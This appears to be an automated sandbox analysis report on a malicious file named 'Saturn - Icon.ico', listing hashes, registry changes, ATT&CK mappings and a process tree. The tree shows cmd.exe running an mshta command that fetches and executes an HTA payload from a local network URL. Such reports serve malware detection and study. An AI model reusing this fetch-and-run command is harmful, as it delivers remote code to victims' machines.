2051fdcc57536ef32572aaacf924fec46ebe8d43a09199e4e8230f489a959e0b

Resubmissions

03/04/2023, 21:33

230403-1elf8ace54 10

03/04/2023, 21:30

230403-1chbsabb53 10

Analysis

max time kernel
96s
max time network
84s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
03/04/2023, 21:30

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General

Target

Saturn - Icon.ico
Size

4KB
MD5

aea4e29119b6b140a2ba9d99c0c78316
SHA1

348486ce37c69c5204af0362e19dfd5691b5a817
SHA256

2051fdcc57536ef32572aaacf924fec46ebe8d43a09199e4e8230f489a959e0b
SHA512

d73eb2ea0c6eaacb1b909ef8b208641ef407a1326dbeeb1ffac4ffd2249c5cb1cc3de392cbc13989303938c7aa027649988d649a2b493a5cc7a47b1fe546f359
SSDEEP

24:subEH6uR+5CnVbsFCc/4a7ESvXbXmHQ90wP3smyUmzgioeTMhatD6q+xiz:dEDRGCVbsFC5a7EM6wrP8NUMRTNz

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://192.168.0.5:3847/t4XVD

Signatures

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1840 wrote to memory of 1520	1840	cmd.exe	30
PID 1840 wrote to memory of 1520	1840	cmd.exe	30
PID 1840 wrote to memory of 1520	1840	cmd.exe	30

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen "C:\Users\Admin\AppData\Local\Temp\Saturn - Icon.ico"
1⤵
PID:1540

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Windows\system32\mshta.exe
  mshta http://192.168.0.5:3847/t4XVD
  2⤵
  - Modifies Internet Explorer settings
  PID:1520

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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